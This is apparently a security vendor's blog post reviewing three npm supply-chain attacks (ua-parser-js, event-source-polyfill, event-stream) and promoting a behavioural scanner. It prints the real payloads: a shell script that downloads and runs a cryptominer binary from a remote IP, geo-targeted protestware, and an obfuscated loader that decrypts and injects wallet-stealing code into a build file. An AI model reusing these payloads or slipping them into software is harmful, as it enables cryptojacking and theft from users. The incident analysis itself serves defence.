There are increasing incidents of supply chain attacks that target the software dependencies in our projects. Some of the most notable include attacks on ua-parser-js
, event-source-polyfill
, and event-stream
. Traditional Software Composition Analysis (SCA) tools and vulnerability scanners that focus on known vulnerabilities (CVEs) have proven ineffective at detecting such attacks. This post will dive into each of these incidents, highlighting the reasons why a reactive CVE approach was insufficient.
1. The ua-parser-js Incident#
In 2021, the popular open-source JavaScript library ua-parser-js
became a victim of a software supply chain attack. The library, widely used to detect browser types and versions, was hijacked by attackers. The attackers gained unauthorized access to the ua-parser-js
npm account, likely through password reuse, and published malicious versions of the package.
The hostile versions of the library had a harmful payload that attempted to steal sensitive information from UNIX and Windows environments. Unfortunately, standard vulnerability scanning tools were completely blind to this attack, because they solely focus on comparing your dependencies against a list of known vulnerabilities in CVE databases.
IP=$(curl -k https://freegeoip.app/xml/ | grep 'RU\|UA\|BY\|KZ')
if [ -z "$IP" ]
then
var=$(pgrep jsextension)
if [ -z "$var" ]
then
curl http://159.148.186.228/download/jsextension -o jsextension
if [ ! -f jsextension ]
then
wget http://159.148.186.228/download/jsextension -O jsextension
fi
chmod +x jsextension
./jsextension -k --tls --rig-id q -o pool.minexmr.com:443 -u <redacted> \
--cpu-max-threads-hint=50 --donate-level=1 --background &>/dev/null &
fi
fi
In the ua-parser-js
case, there was no prior CVE to raise an alarm, hence the scanners had no way to detect the attack. This incident highlights the limitations of a purely reactive CVE approach, and underscores the need for proactive, behavioral analysis tools like Socket, which could potentially identify and block such attacks.
2. The event-source-polyfill incident (still live on npm!)#
The incident involving the event-source-polyfill
library demonstrates a different kind of risk that traditional SCA tools fail to catch. The maintainer of this library, utilized it as a platform to voice political views, by introducing code changes that would display anti-war messages to users based in Russia. This unique kind of 'protestware' was an unexpected and unusual departure from the library's intended functionality.
While the added functionality might not be harmful or malicious, it still significantly diverged from the library's intended behavior and thus constituted a risk. Traditional vulnerability scanners missed this because it wasn't a known vulnerability or a flaw. Instead, it was a deliberate, unpredicted change introduced by the maintainer.
setTimeout(function () {
if (
[
"Asia/Anadyr", "Asia/Barnaul", "Asia/Chita", "Asia/Irkutsk", "Asia/Kamchatka",
"Asia/Khandyga", "Asia/Krasnoyarsk", "Asia/Magadan", "Asia/Novokuznetsk",
"Asia/Novosibirsk", "Asia/Omsk", "Asia/Sakhalin", "Asia/Srednekolymsk", "Asia/Tomsk",
"Asia/Ust-Nera", "Asia/Vladivostok", "Asia/Yakutsk", "Asia/Yekaterinburg",
"Europe/Astrakhan", "Europe/Kaliningrad", "Europe/Kirov", "Europe/Moscow",
"Europe/Samara", "Europe/Saratov", "Europe/Simferopol", "Europe/Ulyanovsk",
"Europe/Volgograd", "W-SU"
].indexOf(new Intl.DateTimeFormat().resolvedOptions().timeZone) === -1
) {
return;
}
var bold = function (msg) { return "\x1b[97m\x1b[1m" + msg + "\x1b[22m\x1b[37m"; };
var flags = function () {
return (
"🇷🇺 🇺🇦 🇷🇺 🇺🇦 🇷🇺 🇺🇦 🇷🇺 🇺🇦 🇷🇺 🇺🇦 🇷🇺 🇺🇦 🇷🇺 🇺🇦 🇷🇺 🇺🇦 🇷🇺 🇺🇦 🇷🇺 🇺🇦" +
" 🇷🇺 🇺🇦 🇷🇺 🇺🇦 🇷🇺 🇺🇦"
);
};
var s = [
"", flags(), "",
"\x1b[37m24 февраля " +
bold("Россия напала на Украину") +
".",
"",
"Народ Украины всеобще мобилизован и готов защищать свою страну от вражеского" +
" вторжения. " +
bold(
"91% украинцев полностью поддерживает своего президента Владимира Зеленского"
) +
" и его ответные действия на нападение России.",
"",
"Весь мир осудил необоснованное вторжение и решил ввести " +
bold("невиданные ранее санкции против России") +
". С каждым новым днем они будут ощущаться все сильнее и сильнее среди мирных" +
" граждан.",
"",
"В то же время, " +
bold("российское правительство ограничивает доступ граждан к внешней информации") +
", насаждая однобокие формулировки и версии происходящего.",
"", "В качестве надежного источника информации загрузите безопасный браузер Tor:", "",
bold("https://www.torproject.org/"), "", "И посетите:", "",
bold(
"https://www.bbcweb3hytmzhn5d532owbu6oqadra5z3ar726vq5kgwwn6aucdccrad.onion/russian"
),
"", flags(), "",
bold("Прекратите эту бессмысленную войну! Остановите военного преступника Путина!") + "\x1b[39m", "",
flags(), ""
].join("\n");
alert(s);
window.open('http://www.change.org/NetVoyne');
}, 15000);
Moreover, these changes remain live on npm, attesting to the fact that the common CVE-centric approach is utterly ill-equipped to handle such scenarios. It underlines a need for more comprehensive and innovative security approaches that not only deal with known vulnerabilities but can also catch unexpected behavioral changes.
3. The event-stream's Malicious Maintainer#
The event-stream
incident is perhaps one of the most renowned supply chain attacks. Dominic Tarr, the original maintainer of the package, transferred control of the package to a new maintainer due to lack of time. This new maintainer, however, had malicious intent and surreptitiously introduced a payload into the package.
/*@@*/
module.exports = function(e) {
try {
if (!/build\:.*\-release/.test(process.argv[2])) return;
var t = process.env.npm_package_description,
r = require("fs"),
i = "./node_modules/@zxing/library/esm5/core/common/reedsolomon/ReedSolomonDecoder.js",
n = r.statSync(i),
c = r.readFileSync(i, "utf8"),
o = require("crypto").createDecipher("aes256", t),
s = o.update(e, "hex", "utf8");
s = "\n" + (s += o.final("utf8"));
var a = c.indexOf("\n/*@@*/");
0 <= a && (c = c.substr(0, a)), r.writeFileSync(i, c + s, "utf8"), r.utimesSync(i, n.atime, n.mtime), process.on("exit", function() {
try {
r.writeFileSync(i, c, "utf8"), r.utimesSync(i, n.atime, n.mtime)
} catch (e) {}
})
} catch (e) {}
};
The stealthy payload was designed to pilfer funds from a Bitcoin wallet application that had event-stream
as a dependency. The malicious code was disguised and hidden so well that it eluded detection for a considerable amount of time, causing substantial damage.
Again, this attack gave traditional vulnerability scanning tools the slip because it did not involve a known vulnerability or flaw. Instead, it was a case of a malicious maintainer introducing harmful code into an otherwise legitimate package. This managed to bypass the CVE-based checks of traditional SCA tools, thus leaving a gaping hole in the project's security.
The Solution: A Proactive Approach#
Each of these attacks showcases the inability of standard vulnerability scanning tools and static analysis methods to detect complex supply chain threats. They wait for vulnerabilities to be reported rather than actively seeking them out, thereby missing ongoing threats.
In contrast, a proactive tool like Socket uses deep package inspection to analyze dependencies and their behavior. This approach not only can detect active threats but also provide actionable feedback, enabling us to better secure the open-source ecosystem.
We must adopt such proactive, comprehensive security approaches to ensure we are not simply waiting for the next CVE to be reported, but actively safeguarding our code from these hidden dangers.
To defend your organization from supply chain attacks missed by traditional CVE scanner based approaches, install the Socket Security GitHub app for free and get protected today! Or if you prefer, you may book a demo to learn more.